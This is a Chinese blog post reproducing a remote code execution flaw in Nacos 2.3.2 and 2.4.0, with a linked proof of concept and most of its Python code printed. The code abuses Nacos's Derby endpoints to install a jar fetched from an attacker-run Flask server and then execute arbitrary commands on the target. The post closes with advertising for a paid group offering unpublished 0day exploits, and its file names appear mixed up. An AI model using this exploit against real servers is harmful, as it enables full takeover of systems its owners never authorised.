0day nacos RCE命令执行漏洞复现含POC
漏洞文库-网络安全 2024-09-05 16:07:02 阅读 85
0x01 阅读须知
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他,如有侵权请联系删除!!!
0x02 产品概述
NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。。
0x03 漏洞描述
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。
fofa
0x04 POC利用
环境准备:下载nacos2.3.2或2.4.0版本,解压。
使用 startup.cmd -m standalone 启动nacos
POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖
1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,项目里放了一个接收参数执行java命令的
2.执行exploit.py,输入地址和命令即可执行。
项目地址
<code>https://github.com/ayoundzw/nacos-poc
Nacos 是 Alibaba 开源的一款用于微服务架构的注册中心和配置中心。它为开发人员提供了轻量级的服务发现和配置管理功能。
影响范围
nacos 2.3.2nacos 2.4.0其他版本不确定nacos 0day 需要登录到后才才能利用
代码分析
Service.py 漏洞利用函数
<code>
def exploit(target, command, service):
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0, sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service)
option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command)code>
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files)
post_json = post_resp.json()
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
print(get_resp.text)
break
removal_url 和 derby_url:构建用于发送请求的URL。for i in range(0, sys.maxsize):无限循环,直到成功利用漏洞。id:生成一个随机字符串,用于标识SQL注入的payload。post_sql:构建SQL注入的payload,安装一个恶意的Java函数。option_sql:构建SQL语句,利用恶意函数执行命令。get_sql:构建SQL查询,执行命令并获取结果。requests.post:发送POST请求,上传恶意SQL。requests.get:发送GET请求,执行命令并获取结果。
主函数
if __name__ == '__main__':
service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
target = 'http://127.0.0.1:8848'
command = 'calc'
target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
command = input('请输入命令,默认:calc:') or command
exploit(target=target, command=command, service=service)
service:构建下载恶意Jar文件的URL。target 和 command:从用户输入获取目标URL和要执行的命令。exploit:调用漏洞利用函数。
Exploit.py
payload 是一个Base64编码的字符串,表示一个压缩文件(ZIP文件)
创建Flask应用
app = Flask(__name__)
创建一个Flask应用实例。
定义路由和视图函数
python
@app.route('/download')
def download_file():
data = base64.b64decode(payload)
response = Response(data, mimetype="application/octet-stream")code>
# response.headers["Content-Disposition"] = "attachment; filename=file.bin"
return response
定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数。
data:将Base64编码的 payload 解码为二进制数据。
response:创建一个HTTP响应对象,包含解码后的数据,并设置MIME类型为 application/octet-stream(表示二进制文件)。
response.headers["Content-Disposition"]:可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。返回响应对象。
Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config 模块中读取
关联漏洞
用友-nc-cloud-blobRefClassSea反序列化.docx
朗新天霁ehr-GetShortMessage-sql注入漏洞.docx
中科聚网信息技术有限公司一体化运营平台importVisualModuleImg接口存在文件上传漏洞.docx
同享TXEHR V15人力管理管理平台DownloadFile存在任意文件下载漏洞.docx
14Finger多个漏洞.docx
早加入早享受,即将涨价到129元!
👉地址1 >>>点击直接加入星球获取更多未公开漏洞POC
👉此地2 >>>点击全面了解星球内部VIP介绍获取更多0/1day漏洞POC-末尾加入星球
需要加入内部知识星球可点击上方链接,资源包含但不限于网上未公开的1day/0day漏洞2024 更新漏洞POC共950+2024最新SRC/CNVD/Edu实战挖掘技巧报告,红队内网横向渗透,代码审计,JS逆向,SRC培训等课程。圈子对新人友好,加入圈子拥有FOFA shadan 360Quake ZoomEye Tide 零零信安 Hunter Ctfshow等等高级会员账号,SRC文档,武器库。圈子里面资料价值至少在10K以上,目前星球内部主题600+,资源2000+,其他和网盘资源1w+并持续更新中!!
内部VIP专属0day速查漏洞库-每日更新汇集全网0/1day POC
2024更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至950+需要的加入星球获取
一些漏洞报告200+(仅列举部分)加入星球获取更多资源及视频资源持续更新中!
需要加入内部知识星球可点击上方链接,资源包含但不限于网上未公开的day漏洞(更新漏洞POC共500+),2024最新企业SRC/CNVD/Edu实战挖掘技巧报告,红队内网横向渗透,代码审计,JS逆向,SRC培训等课程。圈子对新人友好,加入圈子拥有FOFA shadan 360Quake ZoomEye Tide 零零信安Hunter等等高级会员账号,SRC文档,武器库。圈子里面资料价值至少在10K以上,目前星球内部主题500+,资源2000+,其他和网盘资源1w+并持续更新中,越早加入价格越低。
上一篇: Docker:WARNING: Published ports are discarded when using host network mode 解决方法
下一篇: Elasticsearch安装、使用,Springboot整合Elasticsearch详细教程
本文标签
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。